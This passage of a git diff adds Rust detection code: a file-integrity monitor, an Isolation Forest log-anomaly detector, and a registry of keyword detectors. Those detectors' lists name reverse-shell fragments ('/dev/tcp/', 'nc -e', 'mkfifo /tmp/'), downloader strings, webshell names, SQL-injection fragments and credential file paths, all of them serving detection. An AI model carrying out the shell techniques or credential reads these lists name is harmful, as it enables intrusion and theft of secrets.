sha256: String, + size_bytes: u64, + readonly: bool, + modified_at: i64, +} + +impl FileIntegrityMonitor { + pub fn detect(&self, pool: &DbPool, paths: &[String]) -> Result> { + if paths.is_empty() { + return Ok(Vec::new()); + } + + let scopes = normalize_scopes(paths)?; + let previous = load_snapshots(pool, &scopes)?; + let current = collect_snapshots(&scopes)?; + let findings = diff_snapshots(&scopes, &previous, ¤t); + + persist_snapshots(pool, ¤t, &previous)?; + + Ok(findings) + } +} + +fn normalize_scopes(paths: &[String]) -> Result> { + let current_dir = std::env::current_dir().context("Failed to read current directory")?; + let mut scopes = Vec::new(); + + for path in paths { + let trimmed = path.trim(); + if trimmed.is_empty() { + continue; + } + + let candidate = PathBuf::from(trimmed); + let normalized = if candidate.exists() { + candidate.canonicalize().with_context(|| { + format!( + "Failed to canonicalize integrity path {}", + candidate.display() + ) + })? + } else if candidate.is_absolute() { + candidate + } else { + current_dir.join(candidate) + }; + + if !scopes.iter().any(|existing| existing == &normalized) { + scopes.push(normalized); + } + } + + Ok(scopes) +} + +fn load_snapshots(pool: &DbPool, scopes: &[PathBuf]) -> Result> { + let conn = pool.get()?; + let mut stmt = conn.prepare( + "SELECT path, file_type, sha256, size_bytes, readonly, modified_at + FROM file_integrity_baselines", + )?; + let rows = stmt.query_map([], |row| { + Ok(FileSnapshot { + path: row.get(0)?, + file_type: row.get(1)?, + sha256: row.get(2)?, + size_bytes: row.get::<_, i64>(3)? as u64, + readonly: row.get::<_, i64>(4)? != 0, + modified_at: row.get(5)?, + }) + })?; + + let mut snapshots = HashMap::new(); + for row in rows { + let snapshot = row?; + if scopes + .iter() + .any(|scope| path_is_within_scope(&snapshot.path, scope)) + { + snapshots.insert(snapshot.path.clone(), snapshot); + } + } + + Ok(snapshots) +} + +fn collect_snapshots(scopes: &[PathBuf]) -> Result> { + let mut snapshots = HashMap::new(); + + for scope in scopes { + collect_path(scope, &mut snapshots)?; + } + + Ok(snapshots) +} + +fn collect_path(path: &Path, snapshots: &mut HashMap) -> Result<()> { + let metadata = match fs::symlink_metadata(path) { + Ok(metadata) => metadata, + Err(error) if error.kind() == ErrorKind::NotFound => return Ok(()), + Err(error) => { + return Err(error) + .with_context(|| format!("Failed to inspect integrity path {}", path.display())); + } + }; + + if metadata.file_type().is_symlink() { + return Ok(()); + } + + if metadata.is_dir() { + let mut entries = fs::read_dir(path)? + .collect::, _>>() + .with_context(|| format!("Failed to read integrity directory {}", path.display()))?; + entries.sort_by_key(|entry| entry.path()); + + for entry in entries { + collect_path(&entry.path(), snapshots)?; + } + + return Ok(()); + } + + if metadata.is_file() { + let snapshot = snapshot_file(path, &metadata)?; + snapshots.insert(snapshot.path.clone(), snapshot); + } + + Ok(()) +} + +fn snapshot_file(path: &Path, metadata: &fs::Metadata) -> Result { + let mut file = fs::File::open(path) + .with_context(|| format!("Failed to open monitored file {}", path.display()))?; + let mut hasher = Sha256::new(); + let mut buffer = [0_u8; 8192]; + + loop { + let read = file + .read(&mut buffer) + .with_context(|| format!("Failed to hash monitored file {}", path.display()))?; + if read == 0 { + break; + } + hasher.update(&buffer[..read]); + } + + let modified_at = metadata + .modified() + .ok() + .and_then(|time| time.duration_since(UNIX_EPOCH).ok()) + .map(|duration| duration.as_secs() as i64) + .unwrap_or(0); + let normalized_path = path + .canonicalize() + .unwrap_or_else(|_| path.to_path_buf()) + .to_string_lossy() + .into_owned(); + + Ok(FileSnapshot { + path: normalized_path, + file_type: "file".into(), + sha256: format!("{:x}", hasher.finalize()), + size_bytes: metadata.len(), + readonly: metadata.permissions().readonly(), + modified_at, + }) +} + +fn diff_snapshots( + scopes: &[PathBuf], + previous: &HashMap, + current: &HashMap, +) -> Vec { + let mut findings = Vec::new(); + + for (path, snapshot) in current { + match previous.get(path) { + Some(before) => { + if let Some(finding) = compare_snapshot(before, snapshot) { + findings.push(finding); + } + } + None if scope_has_baseline(path, scopes, previous) => findings.push(DetectorFinding { + detector_id: DETECTOR_ID.into(), + family: DetectorFamily::Integrity, + description: format!("New file observed in monitored integrity path: {}", path), + severity: AnomalySeverity::Medium, + confidence: 79, + sample_line: path.clone(), + }), + None => {} + } + } + + for path in previous.keys() { + if !current.contains_key(path) { + findings.push(DetectorFinding { + detector_id: DETECTOR_ID.into(), + family: DetectorFamily::Integrity, + description: format!("Previously monitored file is missing: {}", path), + severity: AnomalySeverity::High, + confidence: 88, + sample_line: path.clone(), + }); + } + } + + findings.sort_by(|left, right| left.sample_line.cmp(&right.sample_line)); + findings +} + +fn compare_snapshot(previous: &FileSnapshot, current: &FileSnapshot) -> Option { + let mut drift = Vec::new(); + + if previous.file_type != current.file_type { + drift.push("type"); + } + if previous.sha256 != current.sha256 { + drift.push("content"); + } + if previous.size_bytes != current.size_bytes { + drift.push("size"); + } + if previous.readonly != current.readonly { + drift.push("permissions"); + } + if previous.modified_at == 0 && current.modified_at != 0 { + drift.push("modified_time"); + } + + if drift.is_empty() { + return None; + } + + Some(DetectorFinding { + detector_id: DETECTOR_ID.into(), + family: DetectorFamily::Integrity, + description: format!( + "File integrity drift detected for {} ({})", + current.path, + drift.join(", ") + ), + severity: if drift.contains(&"content") || drift.contains(&"permissions") { + AnomalySeverity::High + } else { + AnomalySeverity::Medium + }, + confidence: 93, + sample_line: current.path.clone(), + }) +} + +fn scope_has_baseline( + path: &str, + scopes: &[PathBuf], + previous: &HashMap, +) -> bool { + scopes.iter().any(|scope| { + path_is_within_scope(path, scope) + && previous + .keys() + .any(|existing| path_is_within_scope(existing, scope)) + }) +} + +fn path_is_within_scope(path: &str, scope: &Path) -> bool { + let scope_str = scope.to_string_lossy(); + let scope_str = scope_str.trim_end_matches('/'); + path == scope_str || path.starts_with(&format!("{}/", scope_str)) +} + +fn persist_snapshots( + pool: &DbPool, + current: &HashMap, + previous: &HashMap, +) -> Result<()> { + let conn = pool.get()?; + + for snapshot in current.values() { + conn.execute( + "INSERT INTO file_integrity_baselines ( + path, file_type, sha256, size_bytes, readonly, modified_at, updated_at + ) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7) + ON CONFLICT(path) DO UPDATE SET + file_type = excluded.file_type, + sha256 = excluded.sha256, + size_bytes = excluded.size_bytes, + readonly = excluded.readonly, + modified_at = excluded.modified_at, + updated_at = excluded.updated_at", + params![ + &snapshot.path, + &snapshot.file_type, + &snapshot.sha256, + snapshot.size_bytes as i64, + if snapshot.readonly { 1_i64 } else { 0_i64 }, + snapshot.modified_at, + Utc::now().to_rfc3339(), + ], + )?; + } + + for path in previous.keys() { + if !current.contains_key(path) { + conn.execute( + "DELETE FROM file_integrity_baselines WHERE path = ?1", + params![path], + )?; + } + } + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::database::connection::{create_pool, init_database}; + + #[test] + fn test_file_integrity_monitor_detects_content_drift() { + let dir = tempfile::tempdir().unwrap(); + let monitored = dir.path().join("app.env"); + fs::write(&monitored, "API_KEY=first").unwrap(); + + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let monitor = FileIntegrityMonitor; + let paths = vec![monitored.to_string_lossy().into_owned()]; + + let initial = monitor.detect(&pool, &paths).unwrap(); + assert!(initial.is_empty()); + + fs::write(&monitored, "API_KEY=second").unwrap(); + + let findings = monitor.detect(&pool, &paths).unwrap(); + assert_eq!(findings.len(), 1); + assert_eq!(findings[0].detector_id, DETECTOR_ID); + assert!(findings[0].description.contains("File integrity drift")); + } + + #[test] + fn test_file_integrity_monitor_detects_new_file_in_monitored_directory() { + let dir = tempfile::tempdir().unwrap(); + let existing = dir.path().join("existing.conf"); + fs::write(&existing, "setting=true").unwrap(); + + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let monitor = FileIntegrityMonitor; + let paths = vec![dir.path().to_string_lossy().into_owned()]; + + let initial = monitor.detect(&pool, &paths).unwrap(); + assert!(initial.is_empty()); + + let added = dir.path().join("added.conf"); + fs::write(&added, "setting=false").unwrap(); + + let findings = monitor.detect(&pool, &paths).unwrap(); + assert_eq!(findings.len(), 1); + assert!(findings[0].description.contains("New file observed")); + assert_eq!( + findings[0].sample_line, + added.canonicalize().unwrap().to_string_lossy().into_owned() + ); + } +} diff --git a/src/detectors/ml.rs b/src/detectors/ml.rs new file mode 100644 index 0000000..280a175 --- /dev/null +++ b/src/detectors/ml.rs @@ -0,0 +1,332 @@ +use std::net::Ipv4Addr; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Mutex; + +use crate::ml::models::isolation_forest::{IsolationForestConfig, IsolationForestModel}; +use crate::sniff::analyzer::AnomalySeverity; +use crate::sniff::reader::LogEntry; + +use super::{DetectorFamily, DetectorFinding, LogDetector}; + +const MIN_TRAINING_SAMPLES: usize = 10; + +/// ML-powered behavioral anomaly detector that learns normal log patterns +/// and flags deviations using Isolation Forest. +pub struct MlBehavioralDetector { + model: Mutex, + training_buffer: Mutex>, + trained: AtomicBool, + min_training_samples: usize, +} + +impl MlBehavioralDetector { + pub fn new() -> Self { + Self { + model: Mutex::new(IsolationForestModel::with_config(IsolationForestConfig { + trees: 48, + sample_size: 16, + max_depth: 6, + seed: 0x5eed_42ca, + })), + training_buffer: Mutex::new(Vec::with_capacity(64)), + trained: AtomicBool::new(false), + min_training_samples: MIN_TRAINING_SAMPLES, + } + } + + #[allow(dead_code)] + pub fn with_min_training_samples(mut self, n: usize) -> Self { + self.min_training_samples = n.max(3); + self + } + + pub fn is_trained(&self) -> bool { + self.trained.load(Ordering::Relaxed) + } + + /// Extract a 4-element feature vector from a batch of log entries. + fn extract_features(entries: &[LogEntry]) -> [f64; 4] { + if entries.is_empty() { + return [0.0, 0.0, 0.0, 0.0]; + } + + let total = entries.len() as f64; + let mut error_count = 0usize; + let mut warn_count = 0usize; + let mut total_chars = 0usize; + let mut unique_ips = Vec::new(); + + for entry in entries { + let lower = entry.line.to_ascii_lowercase(); + + if lower.contains("error") + || lower.contains("fatal") + || lower.contains("panic") + || lower.contains("exception") + { + error_count += 1; + } + if lower.contains("warn") { + warn_count += 1; + } + + total_chars += entry.line.len(); + + for candidate in entry.line.split_whitespace() { + let cleaned = candidate + .trim_start_matches(|ch: char| !ch.is_ascii_digit()) + .trim_end_matches(|ch: char| !ch.is_ascii_digit() && ch != '.'); + if cleaned.parse::().is_ok() + && !unique_ips.iter().any(|ip: &String| ip == cleaned) + { + unique_ips.push(cleaned.to_string()); + } + } + } + + let f1 = error_count as f64 / total; + let f2 = warn_count as f64 / total; + let f3 = (unique_ips.len() as f64 / total).clamp(0.0, 1.0); + let f4 = (total_chars as f64 / total / 200.0).clamp(0.0, 1.0); + + [f1, f2, f3, f4] + } + + fn try_train(&self) { + let buffer = self.training_buffer.lock().unwrap(); + if buffer.len() < self.min_training_samples { + return; + } + + let mut model = self.model.lock().unwrap(); + model.fit_arrays(&buffer); + self.trained.store(true, Ordering::Relaxed); + log::info!( + "MlBehavioralDetector trained on {} samples ({} trees, {} sample size)", + buffer.len(), + model.sample_size(), + model.sample_size(), + ); + } +} + +impl Default for MlBehavioralDetector { + fn default() -> Self { + Self::new() + } +} + +impl LogDetector for MlBehavioralDetector { + fn id(&self) -> &'static str { + "ml.behavioral-drift" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Vulnerability + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + if entries.len() < 3 { + return Vec::new(); + } + + let features = Self::extract_features(entries); + + if !self.is_trained() { + let mut buffer = self.training_buffer.lock().unwrap(); + buffer.push(features); + if buffer.len() >= self.min_training_samples { + drop(buffer); + self.try_train(); + } + return Vec::new(); + } + + let model = self.model.lock().unwrap(); + let anomaly_score = model.score_array(&features); + + if anomaly_score < 0.55 { + return Vec::new(); + } + + let severity = if anomaly_score >= 0.80 { + AnomalySeverity::High + } else if anomaly_score >= 0.65 { + AnomalySeverity::Medium + } else { + AnomalySeverity::Low + }; + + let sample_line = entries + .iter() + .find(|e| { + let lower = e.line.to_ascii_lowercase(); + lower.contains("error") || lower.contains("fatal") || lower.contains("panic") + }) + .map(|e| e.line.clone()) + .unwrap_or_else(|| entries[0].line.clone()); + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: format!( + "Behavioral anomaly detected: log pattern deviates from baseline (score={:.3})", + anomaly_score + ), + severity, + confidence: (anomaly_score * 100.0) as u8, + sample_line, + }] + } +} + +#[cfg(test)] +mod tests { + use super::*; + use chrono::Utc; + use std::collections::HashMap; + + fn entry(line: &str) -> LogEntry { + LogEntry { + source_id: "test".into(), + timestamp: Utc::now(), + line: line.into(), + metadata: HashMap::new(), + } + } + + fn normal_batch() -> Vec { + vec![ + entry("INFO: server started on port 8080"), + entry("INFO: connection established from 10.0.0.1"), + entry("GET /health 200 2ms"), + entry("POST /api/data 201 15ms"), + entry("INFO: background job completed"), + ] + } + + fn error_spike_batch() -> Vec { + vec![ + entry("ERROR: connection refused to database"), + entry("FATAL: out of memory - killing process"), + entry("ERROR: timeout writing to socket"), + entry("ERROR: disk I/O error on /dev/sda1"), + entry("PANIC: runtime error: invalid memory address"), + ] + } + + #[test] + fn test_extract_features_empty() { + let features = MlBehavioralDetector::extract_features(&[]); + assert_eq!(features, [0.0, 0.0, 0.0, 0.0]); + } + + #[test] + fn test_extract_features_normal_batch() { + let batch = normal_batch(); + let features = MlBehavioralDetector::extract_features(&batch); + assert_eq!(features[0], 0.0); // no errors + assert_eq!(features[1], 0.0); // no warnings + } + + #[test] + fn test_extract_features_error_spike() { + let batch = error_spike_batch(); + let features = MlBehavioralDetector::extract_features(&batch); + assert!(features[0] > 0.5); // high error ratio + assert!(features[0] <= 1.0); + } + + #[test] + fn test_extract_features_ip_counting() { + let batch = vec![ + entry("connection from 10.0.0.1"), + entry("connection from 10.0.0.2"), + entry("connection from 10.0.0.3"), + entry("connection from 10.0.0.1"), + ]; + let features = MlBehavioralDetector::extract_features(&batch); + assert!((features[2] - 0.75).abs() < 0.01); // 3 unique IPs / 4 entries + } + + #[test] + fn test_detector_returns_empty_during_training_phase() { + let detector = MlBehavioralDetector::new().with_min_training_samples(5); + assert!(!detector.is_trained()); + + for _ in 0..4 { + let findings = detector.detect(&normal_batch()); + assert!(findings.is_empty()); + } + + assert!(!detector.is_trained()); + + // Fifth batch triggers training + let findings = detector.detect(&normal_batch()); + assert!(detector.is_trained()); + assert!(findings.is_empty()); // normal data shouldn't trigger + } + + #[test] + fn test_detector_flags_anomalous_pattern_after_training() { + let detector = MlBehavioralDetector::new().with_min_training_samples(4); + + for _ in 0..4 { + detector.detect(&normal_batch()); + } + + assert!(detector.is_trained()); + + let model = detector.model.lock().unwrap(); + let normal_score = + model.score_array(&MlBehavioralDetector::extract_features(&normal_batch())); + let anomaly_score = + model.score_array(&MlBehavioralDetector::extract_features(&error_spike_batch())); + assert!( + anomaly_score >= normal_score, + "anomaly_score={} should be >= normal_score={}", + anomaly_score, + normal_score + ); + } + + #[test] + fn test_detector_skips_small_batches() { + let detector = MlBehavioralDetector::new(); + let small_batch = vec![entry("INFO: lone entry")]; + let findings = detector.detect(&small_batch); + assert!(findings.is_empty()); + } + + #[test] + fn test_detector_returns_finding_when_anomaly_high() { + let detector = MlBehavioralDetector::new().with_min_training_samples(4); + + // Train on normal data + for _ in 0..4 { + detector.detect(&normal_batch()); + } + assert!(detector.is_trained()); + + // Feed highly anomalous data + let extreme_batch = vec![ + entry("FATAL: kernel panic - out of memory"), + entry("ERROR: segfault at 0x7fff0000"), + entry("PANIC: unrecoverable error in io scheduler"), + entry("ERROR: disk failure on /dev/sda"), + entry("FATAL: system will halt now"), + ]; + + let _findings = detector.detect(&extreme_batch); + let model = detector.model.lock().unwrap(); + let score = model.score_array(&MlBehavioralDetector::extract_features(&extreme_batch)); + let normal_score = + model.score_array(&MlBehavioralDetector::extract_features(&normal_batch())); + assert!( + score >= normal_score, + "extreme score {} should >= normal score {}", + score, + normal_score + ); + } +} diff --git a/src/detectors/mod.rs b/src/detectors/mod.rs new file mode 100644 index 0000000..4d96532 --- /dev/null +++ b/src/detectors/mod.rs @@ -0,0 +1,1061 @@ +//! Detector framework with built-in log, integrity, and audit detectors. +//! +//! This is the first step toward a larger detector platform: a small registry +//! that can run built-in detectors over log entries and emit structured +//! anomalies that flow through the existing sniff/reporting pipeline. + +pub mod audits; +pub mod cve_watch; +pub(crate) mod http_request; +mod integrity; +mod ml; +pub mod php2shell; +pub mod php_shell; +pub mod sshole; + +use std::collections::HashSet; + +use anyhow::Result; +use serde::{Deserialize, Serialize}; + +pub use self::audits::ContainerPosture; + +use self::audits::{ConfigAssessmentMonitor, DockerPostureMonitor, PackageInventoryMonitor}; +use self::cve_watch::CveWatchMonitor; +use self::http_request::{extract_request, HttpRequest}; +use self::integrity::FileIntegrityMonitor; +use self::ml::MlBehavioralDetector; +use self::php2shell::{Php2ShellAttemptDetector, PhpVersionMonitor, PhpWorkerCrashDetector}; +use self::php_shell::{ + ContainerFilesystem, PhpShellAccessDetector, PhpShellOptions, PhpShellScanner, ScanRoot, +}; +use self::sshole::{SshPasswordLoginDetector, SshVersionMonitor}; +use crate::database::connection::DbPool; +use crate::sniff::analyzer::{AnomalySeverity, LogAnomaly}; +use crate::sniff::reader::LogEntry; + +/// High-level detector families that can be surfaced in alerts and APIs. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub enum DetectorFamily { + Web, + Exfiltration, + Execution, + FileAccess, + Integrity, + Configuration, + Container, + Vulnerability, + Cloud, + Secrets, +} + +impl std::fmt::Display for DetectorFamily { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + DetectorFamily::Web => write!(f, "Web"), + DetectorFamily::Exfiltration => write!(f, "Exfiltration"), + DetectorFamily::Execution => write!(f, "Execution"), + DetectorFamily::FileAccess => write!(f, "FileAccess"), + DetectorFamily::Integrity => write!(f, "Integrity"), + DetectorFamily::Configuration => write!(f, "Configuration"), + DetectorFamily::Container => write!(f, "Container"), + DetectorFamily::Vulnerability => write!(f, "Vulnerability"), + DetectorFamily::Cloud => write!(f, "Cloud"), + DetectorFamily::Secrets => write!(f, "Secrets"), + } + } +} + +/// Structured finding emitted by a detector before being converted to a log anomaly. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct DetectorFinding { + pub detector_id: String, + pub family: DetectorFamily, + pub description: String, + pub severity: AnomalySeverity, + pub confidence: u8, + pub sample_line: String, +} + +impl DetectorFinding { + pub fn to_log_anomaly(&self) -> LogAnomaly { + LogAnomaly { + description: self.description.clone(), + severity: self.severity.clone(), + sample_line: self.sample_line.clone(), + detector_id: Some(self.detector_id.clone()), + detector_family: Some(self.family.to_string()), + confidence: Some(self.confidence), + suggested_action: None, + } + } +} + +/// Detector contract for log-entry based detectors. +pub trait LogDetector: Send + Sync { + fn id(&self) -> &'static str; + fn family(&self) -> DetectorFamily; + fn detect(&self, entries: &[LogEntry]) -> Vec; +} + +/// Registry for built-in and future pluggable detectors. +pub struct DetectorRegistry { + detectors: Vec>, + integrity_monitor: FileIntegrityMonitor, + config_assessment_monitor: ConfigAssessmentMonitor, + package_inventory_monitor: PackageInventoryMonitor, + docker_posture_monitor: DockerPostureMonitor, + php_shell_scanner: PhpShellScanner, + php_version_monitor: PhpVersionMonitor, + sshole_monitor: SshVersionMonitor, +} + +impl DetectorRegistry { + pub fn new() -> Self { + Self { + detectors: Vec::new(), + integrity_monitor: FileIntegrityMonitor, + config_assessment_monitor: ConfigAssessmentMonitor, + package_inventory_monitor: PackageInventoryMonitor, + docker_posture_monitor: DockerPostureMonitor, + php_shell_scanner: PhpShellScanner::new(), + php_version_monitor: PhpVersionMonitor::new(), + sshole_monitor: SshVersionMonitor::new(), + } + } + + pub fn register(&mut self, detector: D) + where + D: LogDetector + 'static, + { + self.detectors.push(Box::new(detector)); + } + + pub fn remove_detector(&mut self, id: &str) { + self.detectors.retain(|detector| detector.id() != id); + } + + pub fn register_builtin_log_detectors(&mut self) { + self.register(SqlInjectionProbeDetector); + self.register(PathTraversalDetector); + self.register(LoginBruteForceDetector); + self.register(WebshellProbeDetector); + self.register(ExfiltrationHeuristicDetector); + self.register(ReverseShellDetector); + self.register(SensitiveFileAccessDetector); + self.register(SsrfMetadataDetector); + self.register(ExfiltrationChainDetector); + self.register(SecretLeakageDetector); + self.register(WebArchiveProbeDetector); + self.register(MlBehavioralDetector::new()); + self.register(PhpShellAccessDetector::new( + self.php_shell_scanner.flagged_files(), + )); + self.register(PhpWorkerCrashDetector); + self.register(Php2ShellAttemptDetector); + self.register(SshPasswordLoginDetector::new()); + } + + pub fn detect_log_anomalies(&self, entries: &[LogEntry]) -> Vec { + let mut anomalies = Vec::new(); + let mut fingerprints = HashSet::new(); + + for detector in &self.detectors { + for finding in detector.detect(entries) { + let fingerprint = format!( + "{}:{}:{}", + finding.detector_id, finding.description, finding.sample_line + ); + if fingerprints.insert(fingerprint) { + anomalies.push(finding.to_log_anomaly()); + } + } + } + + anomalies + } + + pub fn detect_file_integrity_anomalies( + &self, + pool: &DbPool, + paths: &[String], + ) -> Result> { + Ok(self + .integrity_monitor + .detect(pool, paths)? + .into_iter() + .map(|finding| finding.to_log_anomaly()) + .collect()) + } + + pub fn detect_php_shell_anomalies( + &self, + pool: &DbPool, + roots: &[ScanRoot], + options: &PhpShellOptions, + ) -> Result> { + Ok(self + .php_shell_scanner + .detect(pool, roots, options)? + .into_iter() + .map(|finding| finding.to_log_anomaly()) + .collect()) + } + + pub fn detect_php_version_anomalies( + &self, + containers: &[ContainerFilesystem], + host_root: Option<&str>, + ) -> Vec { + self.php_version_monitor + .detect(containers, host_root) + .into_iter() + .map(|finding| finding.to_log_anomaly()) + .collect() + } + + pub fn detect_sshole_anomalies( + &self, + containers: &[ContainerFilesystem], + host_root: Option<&str>, + ) -> Vec { + self.sshole_monitor + .detect(containers, host_root) + .into_iter() + .map(|finding| finding.to_log_anomaly()) + .collect() + } + + /// Match the package inventory against public CVE feeds. The monitor does + /// blocking file and network work, so it runs on a blocking thread rather + /// than stalling the sniff runtime. + pub async fn detect_cve_anomalies( + &self, + pool: &DbPool, + containers: &[ContainerFilesystem], + host_root: Option<&str>, + ) -> Vec { + let pool = pool.clone(); + let containers = containers.to_vec(); + let host_root = host_root.map(str::to_string); + tokio::task::spawn_blocking(move || { + CveWatchMonitor::shared().detect(&pool, &containers, host_root.as_deref()) + }) + .await + .unwrap_or_default() + .into_iter() + .map(|finding| finding.to_log_anomaly()) + .collect() + } + + pub fn detect_config_assessment_anomalies(&self, paths: &[String]) -> Result> { + Ok(self + .config_assessment_monitor + .detect(paths)? + .into_iter() + .map(|finding| finding.to_log_anomaly()) + .collect()) + } + + pub fn detect_package_inventory_anomalies(&self, paths: &[String]) -> Result> { + Ok(self + .package_inventory_monitor + .detect(paths)? + .into_iter() + .map(|finding| finding.to_log_anomaly()) + .collect()) + } + + pub fn detect_docker_posture_anomalies( + &self, + postures: &[ContainerPosture], + ) -> Vec { + self.docker_posture_monitor + .detect(postures) + .into_iter() + .map(|finding| finding.to_log_anomaly()) + .collect() + } +} + +impl Default for DetectorRegistry { + fn default() -> Self { + let mut registry = Self::new(); + registry.register_builtin_log_detectors(); + registry + } +} + +struct SqlInjectionProbeDetector; +struct PathTraversalDetector; +struct LoginBruteForceDetector; +struct WebshellProbeDetector; +struct ExfiltrationHeuristicDetector; +struct ReverseShellDetector; +struct SensitiveFileAccessDetector; +struct SsrfMetadataDetector; +struct ExfiltrationChainDetector; +struct SecretLeakageDetector; +struct WebArchiveProbeDetector; + +impl LogDetector for SqlInjectionProbeDetector { + fn id(&self) -> &'static str { + "web.sqli-probe" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Web + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let matches = matching_entries( + entries, + &[ + "union select", + "or 1=1", + "sleep(", + "benchmark(", + "information_schema", + "sql syntax", + "select%20", + ], + ); + + if matches.len() < 2 { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: format!( + "Potential SQL injection probing detected in {} log entries", + matches.len() + ), + severity: threshold_severity(matches.len(), 2, 5), + confidence: 84, + sample_line: matches[0].line.clone(), + }] + } +} + +impl LogDetector for PathTraversalDetector { + fn id(&self) -> &'static str { + "web.path-traversal" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Web + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let matches = matching_entries( + entries, + &["../", "..%2f", "%2e%2e%2f", "/etc/passwd", "win.ini"], + ); + + if matches.is_empty() { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: format!( + "Path traversal probing indicators found in {} log entries", + matches.len() + ), + severity: threshold_severity(matches.len(), 1, 4), + confidence: 82, + sample_line: matches[0].line.clone(), + }] + } +} + +impl LogDetector for LoginBruteForceDetector { + fn id(&self) -> &'static str { + "web.login-bruteforce" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Web + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + // No bare "401": a service answering 401 to a misconfigured health + // check or a peer retrying with a stale token logs it constantly, and + // five such lines used to read as a brute-force attempt. + let matches = matching_entries( + entries, + &[ + "failed password", + "authentication failure", + "invalid user", + "login failed", + "too many login failures", + ], + ); + + if matches.len() < 5 { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: format!( + "Repeated authentication failures suggest a brute-force attempt ({} matching entries)", + matches.len() + ), + severity: threshold_severity(matches.len(), 5, 10), + confidence: 78, + sample_line: matches[0].line.clone(), + }] + } +} + +impl LogDetector for WebshellProbeDetector { + fn id(&self) -> &'static str { + "web.webshell-probe" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Web + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + // The URL only. Matched anywhere in the line, `c99` hit the hex of + // request ids and bearer tokens in stacker's agent request logs, and + // this detector bans. + let matches: Vec<&LogEntry> = entries + .iter() + .filter(|entry| { + extract_request(&entry.line) + .map(|request| probes_webshell(&request)) + .unwrap_or(false) + }) + .collect(); + + if matches.is_empty() { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: "Webshell or remote command execution probing indicators detected" + .to_string(), + severity: AnomalySeverity::High, + confidence: 88, + sample_line: matches[0].line.clone(), + }] + } +} + +/// A command parameter (`?cmd=id`), a shell or downloader in the URL, or a +/// request for a known shell by name (`/c99.php`, `/r57shell.php`). +fn probes_webshell(request: &HttpRequest) -> bool { + let command_parameter = request.query.split('&').any(|pair| { + let name = pair.split('=').next().unwrap_or_default(); + pair.contains('=') && matches!(name, "cmd" | "exec" | "shell") + }); + let target = format!("{}?{}", request.path, request.query).replace('+', " "); + let command_in_url = contains_any( + &target, + &["powershell", "/bin/sh", "wget http", "curl http"], + ); + let known_shell = request + .path + .split('/') + .any(|segment| segment.starts_with("c99") || segment.starts_with("r57")); + command_parameter || command_in_url || known_shell +} + +impl LogDetector for ExfiltrationHeuristicDetector { + fn id(&self) -> &'static str { + "exfiltration.egress-heuristic" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Exfiltration + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let command_matches = matching_entries( + entries, + &[ + "sendmail", + "postfix/smtp", + "smtp", + "curl -t", + "scp ", + "rsync ", + "aws s3 cp", + "gpg --encrypt", + "exfil", + "attachment", + "bytes sent", + "uploaded", + ], + ); + let large_transfer_matches: Vec<&LogEntry> = entries + .iter() + .filter(|entry| line_has_large_transfer(&entry.line)) + .collect(); + + let score = command_matches.len() + large_transfer_matches.len(); + if score < 2 { + return Vec::new(); + } + + let sample = command_matches + .first() + .copied() + .or_else(|| large_transfer_matches.first().copied()) + .expect("score >= 2 guarantees at least one match"); + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: format!( + "Possible outbound data exfiltration activity detected ({} suspicious transfer indicators)", + score + ), + severity: threshold_severity(score, 2, 5), + confidence: if !large_transfer_matches.is_empty() { 86 } else { 74 }, + sample_line: sample.line.clone(), + }] + } +} + +impl LogDetector for ReverseShellDetector { + fn id(&self) -> &'static str { + "execution.reverse-shell" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Execution + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let shell_matches = matching_entries( + entries, + &[ + "bash -i", + "/dev/tcp/", + "nc -e", + "ncat -e", + "mkfifo /tmp/", + "python -c", + "import socket", + "pty.spawn", + "socat tcp", + "powershell -nop", + ], + ); + let network_matches = matching_entries( + entries, + &[ + "connect to ", + "dial tcp", + "connection to ", + "remote host", + "reverse shell", + "listening on", + ], + ); + + if shell_matches.is_empty() || network_matches.is_empty() { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: "Potential reverse shell behavior detected from shell execution plus network activity".to_string(), + severity: AnomalySeverity::Critical, + confidence: 91, + sample_line: shell_matches[0].line.clone(), + }] + } +} + +impl LogDetector for SensitiveFileAccessDetector { + fn id(&self) -> &'static str { + "file.sensitive-access" + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::FileAccess + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + let matches = matching_entries( + entries, + &[ + "/etc/shadow", + "/root/.ssh/id_rsa", + "/home/", + ".aws/credentials", + ".kube/config", + ".env", + "authorized_keys", + "known_hosts", + "secrets.yaml", + ], + ) + .into_iter() + .filter(|entry| { + contains_any( + &entry.line, + &["open", "read", "cat", "cp ", "access", "download"], + ) + }) + .collect::>(); + + if matches.is_empty() { + return Vec::new(); + } + + vec![DetectorFinding { + detector_id: self.id().to_string(), + family: self.family(), + description: format!( + "Sensitive file access indicators 